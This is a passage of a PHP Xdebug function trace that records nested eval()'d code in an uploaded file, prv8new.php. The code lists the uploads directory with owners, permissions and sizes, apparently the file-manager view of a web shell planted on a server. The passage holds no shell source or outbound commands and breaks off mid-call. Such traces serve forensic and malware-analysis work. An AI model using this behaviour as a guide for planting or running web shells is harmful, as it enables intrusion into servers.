4		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1037	$n = 6
4		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1038	$i = 0
5	96	0	0.023612	1241568	fileowner	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1039	1	'.'
5	96	1	0.023629	1241592
5	96	R			0
5	97	0	0.023642	1241552	posix_getpwuid	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1039	1	0
5	97	1	0.023668	1242352
5	97	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1039	$ow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
5	98	0	0.023711	1242320	filegroup	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1040	1	'.'
5	98	1	0.023725	1242360
5	98	R			0
5	99	0	0.023738	1242320	posix_getgrgid	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1040	1	0
5	99	1	0.023761	1242976
5	99	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1040	$gr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
5	100	0	0.023798	1243416	filemtime	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1043	1	'/var/www/html/uploads/.'
5	100	1	0.023815	1243472
5	100	R			1676259889
5	101	0	0.023829	1243384	date	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1043	2	'Y-m-d H:i:s'	1676259889
5	101	1	0.023862	1243712
5	101	R			'2023-02-12 22:44:49'
5	102	0	0.023877	1243688	viewPermsColor	1		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1044	1	'/var/www/html/uploads/.'
6	103	0	0.023892	1243688	is_readable	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	337	1	'/var/www/html/uploads/.'
6	103	1	0.023909	1243728
6	103	R			TRUE
6	104	0	0.023922	1243688	is_writable	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	339	1	'/var/www/html/uploads/.'
6	104	1	0.023943	1243728
6	104	R			TRUE
6	105	0	0.023956	1243688	fileperms	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	342	1	'/var/www/html/uploads/.'
6	105	1	0.023970	1243728
6	105	R			16895
6	106	0	0.023983	1243688	perms	1		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	342	1	16895
6		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	321	$i = 'd'
6		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	325	$i .= 'r'
6		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	326	$i .= 'w'
6		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	327	$i .= 'x'
6		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	328	$i .= 'r'
6		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	329	$i .= 'w'
6		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	330	$i .= 'x'
6		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	331	$i .= 'r'
6		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	332	$i .= 'w'
6		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	333	$i .= 'x'
6	106	1	0.024104	1243728
6	106	R			'drwxrwxrwx'
5	102	1	0.024118	1243768
5	102	R			'<font color=#ffffff><b>drwxrwxrwx</b></font>'
5	107	0	0.024135	1243768	filesize	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1045	1	'/var/www/html/uploads/.'
5	107	1	0.024150	1243808
5	107	R			4096
4		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1047	$tmp = ['name' => '.', 'path' => '/var/www/html/uploads/.', 'modify' => '2023-02-12 22:44:49', 'perms' => '<font color=#ffffff><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root']
5	108	0	0.024187	1243768	is_file	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1049	1	'/var/www/html/uploads/.'
5	108	1	0.024201	1243808
5	108	R			FALSE
5	109	0	0.024215	1243768	is_link	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1051	1	'/var/www/html/uploads/.'
5	109	1	0.024231	1243832
5	109	R			FALSE
5	110	0	0.024245	1243792	is_dir	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1053	1	'/var/www/html/uploads/.'
5	110	1	0.024259	1243832
5	110	R			TRUE
4		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1038	$i++
5	111	0	0.024283	1243744	fileowner	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1039	1	'..'
5	111	1	0.024298	1243768
5	111	R			0
5	112	0	0.024312	1243728	posix_getpwuid	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1039	1	0
5	112	1	0.024336	1244528
5	112	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1039	$ow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
5	113	0	0.024378	1243760	filegroup	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1040	1	'..'
5	113	1	0.024393	1243800
5	113	R			0
5	114	0	0.024406	1243760	posix_getgrgid	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1040	1	0
5	114	1	0.024428	1244416
5	114	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1040	$gr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
5	115	0	0.024466	1244280	filemtime	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1043	1	'/var/www/html/uploads/..'
5	115	1	0.024482	1244344
5	115	R			1676259889
5	116	0	0.024496	1244248	date	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1043	2	'Y-m-d H:i:s'	1676259889
5	116	1	0.024528	1244576
5	116	R			'2023-02-12 22:44:49'
5	117	0	0.024543	1244560	viewPermsColor	1		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1044	1	'/var/www/html/uploads/..'
6	118	0	0.024558	1244560	is_readable	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	337	1	'/var/www/html/uploads/..'
6	118	1	0.024574	1244600
6	118	R			TRUE
6	119	0	0.024588	1244560	is_writable	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	339	1	'/var/www/html/uploads/..'
6	119	1	0.024604	1244600
6	119	R			TRUE
6	120	0	0.024617	1244560	fileperms	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	342	1	'/var/www/html/uploads/..'
6	120	1	0.024636	1244600
6	120	R			16895
6	121	0	0.024650	1244560	perms	1		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	342	1	16895
6		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	321	$i = 'd'
6		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	325	$i .= 'r'
6		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	326	$i .= 'w'
6		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	327	$i .= 'x'
6		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	328	$i .= 'r'
6		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	329	$i .= 'w'
6		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	330	$i .= 'x'
6		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	331	$i .= 'r'
6		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	332	$i .= 'w'
6		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	333	$i .= 'x'
6	121	1	0.024769	1244600
6	121	R			'drwxrwxrwx'
5	117	1	0.024784	1244640
5	117	R			'<font color=#ffffff><b>drwxrwxrwx</b></font>'
5	122	0	0.024801	1244640	filesize	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1045	1	'/var/www/html/uploads/..'
5	122	1	0.024816	1244680
5	122	R			4096
4		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1047	$tmp = ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 22:44:49', 'perms' => '<font color=#ffffff><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root']
5	123	0	0.024852	1243816	is_file	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1049	1	'/var/www/html/uploads/..'
5	123	1	0.024867	1243856
5	123	R			FALSE
5	124	0	0.024881	1243816	is_link	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1051	1	'/var/www/html/uploads/..'
5	124	1	0.024897	1243864
5	124	R			FALSE
5	125	0	0.024911	1243824	is_dir	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1053	1	'/var/www/html/uploads/..'
5	125	1	0.024925	1243864
5	125	R			TRUE
5	126	0	0.024938	1243768	array_merge	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1054	2	['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 22:44:49', 'perms' => '<font color=#ffffff><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root']	['type' => 'dir']
5	126	1	0.024963	1244208
5	126	R			['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 22:44:49', 'perms' => '<font color=#ffffff><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
4		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1054	$dirs[] = ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 22:44:49', 'perms' => '<font color=#ffffff><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
4		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1038	$i++
5	127	0	0.025023	1244520	fileowner	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1039	1	'.htaccess'
5	127	1	0.025058	1244544
5	127	R			0
5	128	0	0.025071	1244504	posix_getpwuid	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1039	1	0
5	128	1	0.025128	1245304
5	128	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1039	$ow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
5	129	0	0.025178	1244536	filegroup	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1040	1	'.htaccess'
5	129	1	0.025192	1244576
5	129	R			0
5	130	0	0.025205	1244536	posix_getgrgid	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1040	1	0
5	130	1	0.025229	1245192
5	130	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1040	$gr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
5	131	0	0.025266	1245056	filemtime	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1043	1	'/var/www/html/uploads/.htaccess'
5	131	1	0.025282	1245112
5	131	R			1676259889
5	132	0	0.025296	1245016	date	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1043	2	'Y-m-d H:i:s'	1676259889
5	132	1	0.025328	1245344
5	132	R			'2023-02-12 22:44:49'
5	133	0	0.025348	1245328	viewPermsColor	1		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1044	1	'/var/www/html/uploads/.htaccess'
6	134	0	0.025363	1245328	is_readable	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	337	1	'/var/www/html/uploads/.htaccess'
6	134	1	0.025380	1245368
6	134	R			TRUE
6	135	0	0.025394	1245328	is_writable	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	339	1	'/var/www/html/uploads/.htaccess'
6	135	1	0.025410	1245368
6	135	R			FALSE
6	136	0	0.025424	1245328	fileperms	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	340	1	'/var/www/html/uploads/.htaccess'
6	136	1	0.025438	1245368
6	136	R			33188
6	137	0	0.025450	1245328	perms	1		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	340	1	33188
6		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	319	$i = '-'
6		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	325	$i .= 'r'
6		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	326	$i .= 'w'
6		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	327	$i .= '-'
6		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	328	$i .= 'r'
6		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	329	$i .= '-'
6		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	330	$i .= '-'
6		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	331	$i .= 'r'
6		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	332	$i .= '-'
6		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	333	$i .= '-'
6	137	1	0.025569	1245368
6	137	R			'-rw-r--r--'
5	133	1	0.025584	1245408
5	133	R			'<font color=white><b>-rw-r--r--</b></font>'
5	138	0	0.025600	1245408	filesize	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1045	1	'/var/www/html/uploads/.htaccess'
5	138	1	0.025615	1245448
5	138	R			64
4		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1047	$tmp = ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 22:44:49', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root']
5	139	0	0.025651	1245032	is_file	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1049	1	'/var/www/html/uploads/.htaccess'
5	139	1	0.025666	1245072
5	139	R			TRUE
5	140	0	0.025679	1244976	array_merge	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1050	2	['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 22:44:49', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root']	['type' => 'file']
5	140	1	0.025703	1245416
5	140	R			['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 22:44:49', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file']
4		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1050	$files[] = ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 22:44:49', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file']
4		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1038	$i++
5	141	0	0.025762	1245728	fileowner	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1039	1	'data'
5	141	1	0.025778	1245744
5	141	R			0
5	142	0	0.025791	1245704	posix_getpwuid	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1039	1	0
5	142	1	0.025815	1246504
5	142	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1039	$ow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
5	143	0	0.025858	1245736	filegroup	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1040	1	'data'
5	143	1	0.025872	1245776
5	143	R			0
5	144	0	0.025884	1245736	posix_getgrgid	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1040	1	0
5	144	1	0.025906	1246392
5	144	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1040	$gr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
5	145	0	0.025943	1246256	filemtime	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1043	1	'/var/www/html/uploads/data'
5	145	1	0.025964	1246320
5	145	R			1676259889
5	146	0	0.025978	1246224	date	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1043	2	'Y-m-d H:i:s'	1676259889
5	146	1	0.026010	1246552
5	146	R			'2023-02-12 22:44:49'
5	147	0	0.026025	1246536	viewPermsColor	1		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1044	1	'/var/www/html/uploads/data'
6	148	0	0.026040	1246536	is_readable	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	337	1	'/var/www/html/uploads/data'
6	148	1	0.026056	1246576
6	148	R			TRUE
6	149	0	0.026070	1246536	is_writable	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	339	1	'/var/www/html/uploads/data'
6	149	1	0.026086	1246576
6	149	R			TRUE
6	150	0	0.026099	1246536	fileperms	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	342	1	'/var/www/html/uploads/data'
6	150	1	0.026113	1246576
6	150	R			16895
6	151	0	0.026126	1246536	perms	1		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	342	1	16895
6		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	321	$i = 'd'
6		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	325	$i .= 'r'
6		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	326	$i .= 'w'
6		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	327	$i .= 'x'
6		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	328	$i .= 'r'
6		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	329	$i .= 'w'
6		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	330	$i .= 'x'
6		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	331	$i .= 'r'
6		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	332	$i .= 'w'
6		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	333	$i .= 'x'
6	151	1	0.026245	1246576
6	151	R			'drwxrwxrwx'
5	147	1	0.026260	1246616
5	147	R			'<font color=#ffffff><b>drwxrwxrwx</b></font>'
5	152	0	0.026277	1246616	filesize	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1045	1	'/var/www/html/uploads/data'
5	152	1	0.026291	1246656
5	152	R			4096
4		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1047	$tmp = ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 22:44:49', 'perms' => '<font color=#ffffff><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root']
5	153	0	0.026327	1246240	is_file	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1049	1	'/var/www/html/uploads/data'
5	153	1	0.026342	1246280
5	153	R			FALSE
5	154	0	0.026355	1246240	is_link	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1051	1	'/var/www/html/uploads/data'
5	154	1	0.026371	1246280
5	154	R			FALSE
5	155	0	0.026385	1246240	is_dir	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1053	1	'/var/www/html/uploads/data'
5	155	1	0.026398	1246280
5	155	R			TRUE
5	156	0	0.026411	1246184	array_merge	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1054	2	['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 22:44:49', 'perms' => '<font color=#ffffff><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root']	['type' => 'dir']
5	156	1	0.026436	1246624
5	156	R			['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 22:44:49', 'perms' => '<font color=#ffffff><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
4		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1054	$dirs[] = ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 22:44:49', 'perms' => '<font color=#ffffff><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
4		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1038	$i++
5	157	0	0.026495	1246560	fileowner	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1039	1	'prepend.php'
5	157	1	0.026511	1246584
5	157	R			0
5	158	0	0.026524	1246544	posix_getpwuid	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1039	1	0
5	158	1	0.026549	1247344
5	158	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1039	$ow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
5	159	0	0.026596	1246576	filegroup	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1040	1	'prepend.php'
5	159	1	0.026611	1246616
5	159	R			0
5	160	0	0.026624	1246576	posix_getgrgid	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1040	1	0
5	160	1	0.026646	1247232
5	160	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1040	$gr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
5	161	0	0.026683	1247112	filemtime	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1043	1	'/var/www/html/uploads/prepend.php'
5	161	1	0.026700	1247176
5	161	R			1676259889
5	162	0	0.026714	1247072	date	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1043	2	'Y-m-d H:i:s'	1676259889
5	162	1	0.026746	1247400
5	162	R			'2023-02-12 22:44:49'
5	163	0	0.026761	1247392	viewPermsColor	1		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1044	1	'/var/www/html/uploads/prepend.php'
6	164	0	0.026776	1247392	is_readable	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	337	1	'/var/www/html/uploads/prepend.php'
6	164	1	0.026793	1247432
6	164	R			TRUE
6	165	0	0.026807	1247392	is_writable	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	339	1	'/var/www/html/uploads/prepend.php'
6	165	1	0.026823	1247432
6	165	R			FALSE
6	166	0	0.026837	1247392	fileperms	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	340	1	'/var/www/html/uploads/prepend.php'
6	166	1	0.026851	1247432
6	166	R			33261
6	167	0	0.026864	1247392	perms	1		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	340	1	33261
6		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	319	$i = '-'
6		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	325	$i .= 'r'
6		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	326	$i .= 'w'
6		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	327	$i .= 'x'
6		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	328	$i .= 'r'
6		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	329	$i .= '-'
6		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	330	$i .= 'x'
6		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	331	$i .= 'r'
6		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	332	$i .= '-'
6		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	333	$i .= 'x'
6	167	1	0.026984	1247432
6	167	R			'-rwxr-xr-x'
5	163	1	0.026998	1247472
5	163	R			'<font color=white><b>-rwxr-xr-x</b></font>'
5	168	0	0.027015	1247472	filesize	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1045	1	'/var/www/html/uploads/prepend.php'
5	168	1	0.027030	1247512
5	168	R			57
4		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1047	$tmp = ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 22:44:49', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root']
5	169	0	0.027066	1247096	is_file	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1049	1	'/var/www/html/uploads/prepend.php'
5	169	1	0.027081	1247136
5	169	R			TRUE
5	170	0	0.027095	1247032	array_merge	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1050	2	['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 22:44:49', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root']	['type' => 'file']
5	170	1	0.027119	1247472
5	170	R			['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 22:44:49', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']
4		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1050	$files[] = ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 22:44:49', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']
4		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1038	$i++
5	171	0	0.027179	1247408	fileowner	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1039	1	'prv8new.php'
5	171	1	0.027196	1247424
5	171	R			1000
5	172	0	0.027209	1247384	posix_getpwuid	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1039	1	1000
5	172	1	0.027245	1248200
